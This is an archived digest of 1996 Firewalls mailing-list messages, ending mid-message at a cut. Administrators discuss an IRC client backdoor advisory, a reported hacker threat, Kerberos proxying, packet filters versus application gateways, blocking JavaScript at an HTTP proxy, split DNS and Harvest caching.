Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA27489 for firewalls-outgoing; Thu, 7 Mar 1996 11:37:41 -0800 (PST)
Received: from proton.llumc.edu (proton.llumc.edu [143.197.200.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA27484 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 11:37:36 -0800 (PST)
Received: from mycroft.llumc.edu (mycroft.llumc.edu [143.197.200.18]) by proton.llumc.edu (8.6.9/8.6.9) with SMTP id LAA26744; Thu, 7 Mar 1996 11:40:27 -0800
Date: Thu, 7 Mar 1996 11:30:02 -0800 (PST)
From: Michael Baumann <baumann@proton.llumc.edu>
To: Magnus Bergman <trident@dataphone.se>
cc: Kent Dahlgren <kent@trouble.WV.TEK.COM>, firewalls@GreatCircle.COM
Subject: Re: IRC - possible problem.
In-Reply-To: <ML-2.2.825988401.2583.trident@night.dataphone.se>
Message-ID: <Pine.SUN.3.91.960307112532.4142A-100000@mycroft.llumc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Tue, 5 Mar 1996, Magnus Bergman wrote:

> > Due to the mail I've got, I'd like to amplify and clarify what I know.  I 
> > can only confirm that this hack works from a UNIX based system; I don't 
> > know if works by attacking PC and Mac based IRC clients.  It is possible 
> > due to a hole in the CTCP protocol that is part of the IRC distribution.
> > I posted this here because I thought it may be the appropriate forum, but
> > if  it is not, please tell me, and I'll try and spead the word by other
> > means. 
> 
> I don't think this is a bug in the ircII-client it self or in the
> IRC-implementations. Rather it is bugs/backdoors in different irc-scripts that
> 
Actually, and I wish I remembered the number, there is a CERT advisory
about this. Specifically in the IRCII client, there is a backdoor installed.
It was only present in certain versions of the client. Sorry, I wish I 
was more help.

Michael Baumann    
Electus Technology Inc.	/ Loma Linda University Medical Center
San Bernardino, California. (909)799-8308 |Internet: baumann@llumc.edu




From firewalls-owner  Thu Mar  7 12:47:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA28236 for firewalls-outgoing; Thu, 7 Mar 1996 11:54:43 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA28231 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 11:54:38 -0800 (PST)
Received: by inet1.tek.com id <AA22578@inet1.tek.com>; Thu, 7 Mar 1996 11:53:10 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma040224; Thu Mar  7 11:53:02 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA16906; Thu, 7 Mar 96 11:52:59 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA22747; Thu, 7 Mar 96 11:55:06 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA02794; Thu, 7 Mar 96 11:51:21 PST
Date: Thu, 7 Mar 1996 11:51:19 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: Michael Baumann <baumann@proton.llumc.edu>
Cc: Magnus Bergman <trident@dataphone.se>, firewalls@GreatCircle.COM
Subject: Re: IRC - possible problem.
In-Reply-To: <Pine.SUN.3.91.960307112532.4142A-100000@mycroft.llumc.edu>
Message-Id: <Pine.SUN.3.91.960307114842.2706B-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


On Thu, 7 Mar 1996, Michael Baumann wrote:

> On Tue, 5 Mar 1996, Magnus Bergman wrote:
> 
> Actually, and I wish I remembered the number, there is a CERT advisory
> about this. Specifically in the IRCII client, there is a backdoor installed.
> It was only present in certain versions of the client. Sorry, I wish I 
> was more help.

I'll post it again, for those who didn't get this the first time I posted it:

ftp://ftp.cert.org/pub/cert_advisories/CA-94:14.trojan.horse.in.IRC.client.for.U
NIX

P.S.,
If you work for Tektronix and your name is Larry Timms or something like 
that; I got your voice mail but I could not make out your E-mail address, 
name (very well,) and phone number.  Please E-mail me.  And yes, we do 
make the best printers in the whole wide world, in my humble opinion.  ;)

       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________


From firewalls-owner  Thu Mar  7 13:01:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA01248 for firewalls-outgoing; Thu, 7 Mar 1996 12:52:01 -0800 (PST)
Received: from av8r.dwc.edu (av8r.dwc.edu [198.49.142.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA01243 for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 12:51:55 -0800 (PST)
Received: (from bchabot@localhost) by av8r.dwc.edu (8.7.4/8.6.12) id PAA20368; Thu, 7 Mar 1996 15:28:39 -0500 (EST)
Date: Thu, 7 Mar 1996 15:28:38 -0500 (EST)
From: "Brian H. Chabot" <bchabot@av8r.dwc.edu>
To: nobody@mail.uu.net
cc: firewalls@GreatCircle.com
Subject: Re: LACC: [C4I-Pro] Boston Paper Fears Hacker Attack (fwd)
In-Reply-To: <9603061448.AA11765@hfsi>
Message-ID: <Pine.BSI.3.91.960307152002.19166D-100000@av8r.dwc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Wed, 6 Mar 1996, KM wrote:

> ------------ Forwarded Message begins here ------------
> Date: 5 Mar 1996 12:25:52 CST
> From: sysop@emergency.com
> To: ceo@oss.net
> Subject: Boston Paper Fears Hacker Attack
> 
> BOSTON, March 5 (UPI) -- The Boston Herald said Tuesday it is being

[SNIP]

>    Hatch said the hacker is "very skilled" and "can pretty much go
> anywhere he wants to go."
>    He said the hacker warned him not to talk to the media or he would 
> "involve your family."
>    The Herald said some system administrators believe the hacker is
> operating out of Canada.
>    The paper said the hacker has also taunted the FBI, saying the FBI 
> "will have more luck finding Elvis than finding the mighty u4ea. The
> FBI cannot touch me."

Private contractors, hired by the FBI have come up with a profile.

u4ea is a male, early 20's, living in the Northeastern US between NY and 
Boston, single, inferiority complex, overcompensated by a "copy-cat" 
methodology.  The first names of several of his personal friends are 
known.  He has left electronic fingerprints everywhere and the more he 
hacks, the more information is available leading to his arrest.

For further information, contact Special Agent Brendon Cleary, Boston 
Office, FBI.

> Presented for the information of law enforcement and computer security
> professionals...not for redistibution. Copyright is by United Press
> International
> 
> 
> ------------ Forwarded Message ends here ------------
> 
> 
> K.M. Goertzel
> Manager, International Programs and Special Projects
> Secure Systems and Services Operation
> Wang Federal, Inc.
> 7900 Westpark Drive - MS 700
> McLean, Virginia  22102-4299
> TEL: 703-827 3914
> FAX: 703-827 3161
> goertzek@wangfed.com
> http://www.wangfed.com
> 
> +----------------------------------------------+
> |                        ...I guessed not half |
> | Life's symphony till I had made hearts beat, |
> | And touched Love's body into trembling cries |
> |                       -- Wilfred Owen, MUSIC |
> +----------------------------------------------+

From firewalls-owner  Thu Mar  7 13:28:13 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA01879 for firewalls-outgoing; Thu, 7 Mar 1996 13:00:45 -0800 (PST)
Received: from interlock.banamex.com (interlock.banamex.com [199.221.26.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA01871 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 13:00:35 -0800 (PST)
Received: from NETCONNEX (netconnex.banamex.com) by interlock.banamex.com with SMTP id AA03693
  (InterLock SMTP Gateway 3.0 for <firewalls@greatcircle.com>);
  Thu, 7 Mar 1996 14:58:49 -0600
Message-Id: <199603072058.AA03693@interlock.banamex.com>
Date: Thu, 7 Mar 1996 15:00:00 -0600
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: Attack Response
To: firewalls <firewalls@greatcircle.com>
X-Mailer: Worldtalk (NetConnex V3.50c)/MIME
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



We recently logged an unsuccessful attack on one of our servers. Basically, 
someone attempted to exploit a security hole in a web server that we do not 
use.  Although the attack was unsuccessful we are very aware that we must 
respond to it.

The question: Is there anybody out there that registers a complete list of 
hosts that have attempted attacks on other systems? Should we be contacting 
those responsible for the hosts from where the attack was lauched. What are 
the responsibilities of Internet Access/Service providers in responding to 
these attacks?

If anybody knows of some good sites that deal with security policy 
implementations we'd love to hear about them.

Thanks,

Art Grapa
agrapa@banamex.com    

From firewalls-owner  Thu Mar  7 13:46:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA02918 for firewalls-outgoing; Thu, 7 Mar 1996 13:22:31 -0800 (PST)
Received: from mailhost.lanl.gov (mailhost.lanl.gov [128.165.3.12]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA02912 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 13:21:55 -0800 (PST)
Received: from tequila.lanl.gov by mailhost.lanl.gov (8.6.12/1.2)
	id OAA27745; Thu, 7 Mar 1996 14:20:21 -0700
Received: from durango.lanl.gov by tequila.lanl.gov (4.1/SMI-4.1)
	id AA22388; Thu, 7 Mar 96 14:20:16 MST
Received: by durango.lanl.gov (5.x/SMI-SVR4)
	id AA16734; Thu, 7 Mar 1996 14:19:40 -0700
Date: Thu, 7 Mar 1996 14:19:40 -0700
From: wjh@tequila.LANL.GOV (William Hunteman)
Message-Id: <9603072119.AA16734@durango.lanl.gov>
To: firewalls@greatcircle.com
Subject: Kerberos Support in Firewalls proxies
Cc: wjh@lanl.gov
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

We are developing firewalls for some internal projects that will require
proxy pass-thru of authentication using Kerberos.  Our requirements are to 
move to Kerberos 5 or DCE Kerberos in the very near future.   Does anyone 
know of existing firewall products or implementations that proxy Kerberos 
authentication?

Are there any security holes or ramifications of passing Kerberos authentication
through a proxy?

From firewalls-owner  Thu Mar  7 14:15:57 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA04472 for firewalls-outgoing; Thu, 7 Mar 1996 13:51:05 -0800 (PST)
Received: from beach.sctc.com (beach.sctc.com [192.55.214.50]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id NAA04402 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 13:49:16 -0800 (PST)
Received: from beach.sctc.com (daemon@localhost) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id PAA18059; Thu, 7 Mar 1996 15:46:21 -0600 (CST)
Received: from sphinx.sctc.com (sphinx.sctc.com [172.17.192.3]) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id PAA18055; Thu, 7 Mar 1996 15:46:20 -0600 (CST)
Received: from shade.sctc.com (shade.sctc.com [172.17.192.48]) by sphinx.sctc.com (8.7.1/8.6.10) with SMTP id PAA10760; Thu, 7 Mar 1996 15:46:45 -0600 (CST)
Received: (from smith@localhost) by shade.sctc.com (8.6.12/8.6.9) id PAA24607; Thu, 7 Mar 1996 15:46:45 -0600
Date: Thu, 7 Mar 1996 15:46:45 -0600
From: Rick Smith <smith@sctc.com>
Message-Id: <199603072146.PAA24607@shade.sctc.com>
To: firewalls@greatcircle.com
Cc: smith@sctc.com, weber@iez.com
Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Rolf Weber <weber@iez.com> writes:

>correct me if i'm wrong, network programming isn't my daily job:
>- with application-level proxies, you have 2 tcp handshakes instead of
>  one, and 2 connections instead of one.
>- the data is read at TCP level, with it its headers have to be
>  appended and deleted.
>(no idea if this are the ultimate performance winners)

This further illustrates how a "stateful" packet filter either behaves
the same as an application gateway or it behaves less ably. If you look
at the packet flow in these two situations you see the same packets
at the filter's interfaces that you see at the gateway's.

Connection setup might be faster with an application gateway since it
can complete the connection on one side at the same time it is
completing the connection on the other site. Thus, the initiator can
start data transfers a few milliseconds sooner, maybe.

>> > i don't think it's an eternal war, because both types of firewalls
>> > should fight at different battle fields.

Absolutely. Our favorite (most paranoid) sites generally use packet
filters as well as application gateways. In series, not in parallel,
of course. The packet filters establish various DMZes for various
purposes and give the sites an extra measure of comfort regarding
the nature of the traffic they're running.

>...but i'm sure, it's only a question of time till vendors will offer
>both, application level and packet filtering firewalls. it would be
>a very good argument if they are acting as a consulter, too.

I don't see much sense in putting application gateways and packet
filters in the same box, or hooking them up in parallel. If the
networks in question needs the degree of separation provided by an
application gateway, then you're dilluting the effect by letting a
filtered packet flow in along with it.

Rick.
smith@sctc.com       secure computing corporation - ISO 9001 certified!

From firewalls-owner  Thu Mar  7 14:16:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA05419 for firewalls-outgoing; Thu, 7 Mar 1996 14:08:46 -0800 (PST)
Received: from po-external.FCNBD.COM ([147.113.146.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id OAA05410 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 14:08:37 -0800 (PST)
Received: from po-internal.FCNBD.COM (internalhost.cmg.FCNBD.COM [147.113.112.122]) by po-external.FCNBD.COM (8.7.2/fcnbd/domain/1.5) with ESMTP id QAA16304 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 16:07:58 -0600 (CST)
Received: from abacab.cmg.FCNBD.COM (abacab.cmg.FCNBD.COM [147.113.112.11]) by po-internal.FCNBD.COM (8.7.2/fcnbd/internal-domain/1.4) with ESMTP id QAA02133 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 16:06:55 -0600 (CST)
Received: from abraxas.fnbc.com (pmarc@abraxas.FNBC.COM [147.113.112.127]) by abacab.cmg.FCNBD.COM (8.7.2/fcnbd/server-subdomain/2.0) with ESMTP id QAA19418 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 16:07:37 -0600 (CST)
Received: (from pmarc@localhost) by abraxas.fnbc.com (8.7.3/8.7.1) id QAA08385 for firewalls@greatcircle.com; Thu, 7 Mar 1996 16:06:30 -0600 (CST)
Message-Id: <199603072206.QAA08385@abraxas.fnbc.com>
Content-Type: text/plain
MIME-Version: 1.0 (NeXT Mail 3.3 v118.2)
X-Nextstep-Mailer: Mail 3.3 (Enhance 1.0)
Received: by NeXT.Mailer (1.118.2)
From: "Paul M. Cardon" <pmarc@fnbc.com>
Date: Thu,  7 Mar 96 16:06:28 -0600
To: firewalls@greatcircle.com
Subject: HTTP Proxy that can block based on browser type
Reply-To: pmarc@fnbc.com
X-Warners: Yakko, Wakko, and Dot
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I've been thinking about this whole JavaScript problem.  I have  
thought of one solution for sites behind a firewall that use an http  
proxy.  An environment variable specifying the browser type is  
passed to the web server.  Servers that can be configured to act as  
a proxy could also see this and block based on the browser type.

I would like to be able to block Navigator 2.0 browsers from going  
outside until the JavaScript problem is fixed or it can be turned  
off globally in some less Draconian manner.  We cannot afford to  
leave security decisions in the hands of the users in our  
environment.

Now I am searching for an HTTP proxy (commercial or freeware) that  
can be configured to perform this type of filtering.  Any  
information on this or a better way to handle it would be  
appreciated.

---
Paul M. Cardon
System Officer - Capital Markets Systems
First Chicago NBD Corporation

MD5 (/dev/null) = d41d8cd98f00b204e9800998ecf8427e

From firewalls-owner  Thu Mar  7 14:31:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA05073 for firewalls-outgoing; Thu, 7 Mar 1996 14:00:38 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA05017 for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 14:00:21 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id QAA22321
    for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 16:58:51 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA19458; Thu, 7 Mar 96 16:49:13 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA24035; Thu, 7 Mar 96 16:53:37 -0500
Date: Thu, 7 Mar 96 16:53:37 -0500
Message-Id: <9603072153.AA24035@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: NORMAN firewall
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Has anyone had any experience with the firewall from Norman Data Defense 
Systems?  If so, I'd like to cybertalk to you.




K.M. Goertzel
Manager, International Programs and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Thu Mar  7 15:18:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA08304 for firewalls-outgoing; Thu, 7 Mar 1996 15:05:25 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id PAA08286 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 15:05:15 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id SAA28775; Thu, 7 Mar 1996 18:03:37 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id SAA19388; Thu, 7 Mar 1996 18:03:33 -0500 (EST)
Date: Thu, 7 Mar 1996 18:03:33 -0500 (EST)
Message-Id: <199603072303.SAA19388@SPARKY.CF.CS.YALE.EDU>
To: billp@synseer.PAL.Roche.com, firewalls@GreatCircle.COM, pmarc@fnbc.com
Subject: Re:  HTTP Proxy that can block ..
Cc: brogers@integctr.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


"Bill Putney"  <brogers@integctr.com> has made the changes necessary to
the wwwblock 1.2 version WWW proxy filter agent I wrote to filter out
enough of the JavaScript (function declarations) to disable it.

Assuming I get his permission to do so I could add his modifications to
the code and make it publicly available if network and firewall admins
are interested.

N.B. According to Bill, enabling the JavaScript filtering in the app level
proxy has a noticable impact on performance though.

- Morrow

>From: "Paul M. Cardon" <pmarc@fnbc.com>
>Date: Thu,  7 Mar 96 16:06:28 -0600
>To: firewalls@greatcircle.com
>Subject: HTTP Proxy that can block based on browser type
>
>I've been thinking about this whole JavaScript problem.  I have  
>thought of one solution for sites behind a firewall that use an http  
>proxy.  An environment variable specifying the browser type is  
>passed to the web server.  Servers that can be configured to act as  
>a proxy could also see this and block based on the browser type.
>
>I would like to be able to block Navigator 2.0 browsers from going  
>outside until the JavaScript problem is fixed or it can be turned  
>off globally in some less Draconian manner.  We cannot afford to  
>leave security decisions in the hands of the users in our  
>environment.
>
>Now I am searching for an HTTP proxy (commercial or freeware) that  
>can be configured to perform this type of filtering.  Any  
>information on this or a better way to handle it would be  
>appreciated.
>
>---
>Paul M. Cardon
>System Officer - Capital Markets Systems
>First Chicago NBD Corporation
>
>MD5 (/dev/null) = d41d8cd98f00b204e9800998ecf8427e
>

From firewalls-owner  Thu Mar  7 16:02:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA09898 for firewalls-outgoing; Thu, 7 Mar 1996 15:32:36 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id PAA09865 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 15:32:22 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id SAA29849; Thu, 7 Mar 1996 18:29:54 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id SAA19459; Thu, 7 Mar 1996 18:29:51 -0500 (EST)
Date: Thu, 7 Mar 1996 18:29:51 -0500 (EST)
Message-Id: <199603072329.SAA19459@SPARKY.CF.CS.YALE.EDU>
To: firewalls@greatcircle.com, pmarc@fnbc.com
Subject: Re:  HTTP Proxy that can block based on browser type
Cc: billp@synseer.PAL.Roche.com, brogers@integctr.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Sorry about mixing up the E-Mail address of Brian Rogers <brogers@integctr.com>
with that of "Bill Putney" <billp@synseer.PAL.Roche.com> in my last message.

Really sorry...  Now back to your regularly scheduled debate about how
dangerous Java and Javascript really are....

- Morrow

From firewalls-owner  Thu Mar  7 16:31:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA13225 for firewalls-outgoing; Thu, 7 Mar 1996 16:25:00 -0800 (PST)
Received: from rosetta.verisign.com (Rosetta.Verisign.COM [204.162.64.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA13219 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 16:24:55 -0800 (PST)
Received: from dustin.verisign.com (Gateway-Outside.Verisign.COM [204.162.64.20]) by rosetta.verisign.com (8.7.4/8.6.12) with ESMTP id QAA15422 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 16:23:54 -0800 (PST)
Received: (from varmav@localhost) by dustin.verisign.com (8.7.4/8.6.12) id QAA04738 for firewalls@greatcircle.com; Thu, 7 Mar 1996 16:23:06 -0800 (PST)
Date: Thu, 7 Mar 1996 16:23:06 -0800 (PST)
From: Vik Varma <varmav@VeriSign.com>
Message-Id: <199603080023.QAA04738@dustin.verisign.com>
To: firewalls@greatcircle.com
Subject: Re: HTTP Proxy that can block based on browser type
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: WCgrnihkBYoU5fQSzd0yUw==
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> From pmarc@fnbc.com Thu Mar  7 15:17:16 1996:
>
> I've been thinking about this whole JavaScript problem.  I have  
> thought of one solution for sites behind a firewall that use an http  
> proxy.  An environment variable specifying the browser type is  
> passed to the web server.  Servers that can be configured to act as  
> a proxy could also see this and block based on the browser type.
> 
> I would like to be able to block Navigator 2.0 browsers from going  
> outside until the JavaScript problem is fixed or it can be turned  
> off globally in some less Draconian manner.  We cannot afford to  
> leave security decisions in the hands of the users in our  
> environment.
> 
> Now I am searching for an HTTP proxy (commercial or freeware) that  
> can be configured to perform this type of filtering.  Any  
> information on this or a better way to handle it would be  
> appreciated.

Not really an answer to your question, but a possible alternative:

What we've done at our site is to turn off the POST actions in a FORM tag with 
the Netscape Proxy server. This should limit our vulnerability while still 
allowing our users to use the Netscape 2.0 browser. The problems with this are 
the fact that you lose FORM functionality and we are still open to attacks via 
the GET method. However, this should put a stop to most things.

-----
Vik Varma
System Administrator
VeriSign, Inc
(415) 961-7500

From firewalls-owner  Thu Mar  7 17:52:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA18143 for firewalls-outgoing; Thu, 7 Mar 1996 17:36:07 -0800 (PST)
Received: from [198.102.244.42] (pb520.greatcircle.com [198.102.244.42]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA18136; Thu, 7 Mar 1996 17:36:02 -0800 (PST)
X-Sender: brent@miles.greatcircle.com
Message-Id: <v02130508ad653ee401a5@[198.102.244.42]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 7 Mar 1996 17:36:09 -0800
To: Edwin Montoya <emontoya@sigma.eafit.edu.co>, firewalls@greatcircle.com
From: Brent@GreatCircle.COM (Brent Chapman)
Subject: Re: DNS proxy
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 10:45 AM 3/6/96, Edwin Montoya wrote:
>Hello,
>
>I'm implementing address based in rfc-1597, but I have a problem with DNS
>because the nodes in private internet couldn't be in main DNS.
>
>where can I find information, papers, software or experiences about how
>implementing DNS proxy for private internet.

What you want is a "split DNS" system, as described on pages 286-294 of
"Building Internet Firewalls" (Chapman & Zwicky, published by O'Reilly &
Associates, 1995, ISBN 1-56592-124-0,
http://www.greatcircle.com/firewalls-book/ ).


-Brent

----------------------+----------------------------+------------------------
Brent Chapman         | Great Circle Associates    | 1057 West Dana Street
Brent@GreatCircle.COM | http://www.greatcircle.com | Mountain View, CA 94041
----------------------+----------------------------+------------------------
                   Internet Tutorials from the Experts!



From firewalls-owner  Thu Mar  7 18:15:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA17718 for firewalls-outgoing; Thu, 7 Mar 1996 17:31:05 -0800 (PST)
Received: from mimos.my (mimos.my [192.228.128.18]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA17679 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 17:30:51 -0800 (PST)
Received: from ms.mimos.my (ms.mimos.my [192.228.129.33]) by mimos.my (8.7.1/8.7.1) with SMTP id JAA04075 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 09:16:38 +0800 (MYT)
Received: from teck.mimos.my by ms.mimos.my (5.64/7.0)
	id AA13309; Fri, 8 Mar 96 09:16:36 +0800
Message-Id: <9603080116.AA13309@ms.mimos.my>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: Re: harvest
Date: Fri, 08 Mar 96 09:19:12 -0500
From: Lee Hooi Teck <teck@mimos.MY>
X-Mailer: E-Mail Connection v2.5.03
Cc: Lee Hooi Teck <teck@ms.mimos.my>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

-- [ From: Lee Hooi Teck * EMC.Ver #2.5.02 ] --

I hope it is related to this mailing list.
I have a similar question. Currently I am trying to install a cache server
using harvest. But I face the following scenario:
 The http server has to be in the same machine as Harvest.

My questions are:
1. If I would like to use Harvest as cahe server for FTP, http and gopher
let say. How should the network architecture be? Since Harvest has to be
installed in the same machine as http server, does it implies that it has to
be together with ftp server as well?

2.If we have a http proxy in our firewall, how can I place this proxy and
the cache proxy mentioned above in the same network?

3. What is the differences between the accelerator and proxy mode?

TIA,
teck
-------- REPLY, Original message follows --------

Date: Wednesday, 06-Mar-96 11:57 AM

From: Chris Eastman            \ Internet:    (chris@cwi.net) To:  
firewalls@greatcircle.com \ Internet:    (firewalls@greatcircle.com)

Subject: harvest

Seems that the latest trend is towards caching technology, I have been 
going over the NANOG minutes and it seems that the Harvest project is the 
way to go - my question is this, is it possible to run Harvest on a 
network's main gateway/firewall machine?  Security wise what would be the 
optimum configuration (ie internal net -> Harvest server -> firewall host)?

--chris

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Christopher Eastman	  %%  Cable & Wireless, Inc  %%
%%  MDS Network Engineer  %%      1919 Gallows Road  %%
%%  chris@cwi.net	  %%       Vienna, VA 22182  %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



-------- REPLY, End of original message --------


--
Lee Hooi Teck
Senior Research Officer
Malaysian Institute of Microelectronic Systems
Ministry of Science, Technology and Environment
Malaysia

From firewalls-owner  Thu Mar  7 20:01:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA22831 for firewalls-outgoing; Thu, 7 Mar 1996 19:49:44 -0800 (PST)
Received: from malone.inforamp.net (Malone.InfoRamp.Net [198.53.144.41]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id TAA22824 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 19:49:36 -0800 (PST)
Received: from herbem2.inforamp.net (ts41-08.tor.InfoRamp.Net [204.191.140.228]) by malone.inforamp.net (8.7/8.7) with SMTP id WAA24812 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 22:47:42 -0500 (EST)
Date: Thu, 7 Mar 1996 22:47:42 -0500 (EST)
Message-Id: <199603080347.WAA24812@malone.inforamp.net>
X-Sender: herbem2@inforamp.net (Unverified)
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.COM
From: Mike Herbert <herbem2@tdbank.ca>
Subject: Re: Security of Networked Workstations with dial-up PPP
  Internet!!!
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>> I assume that windows 3.11,NT and 95 can forward packets from the PPP
link to 
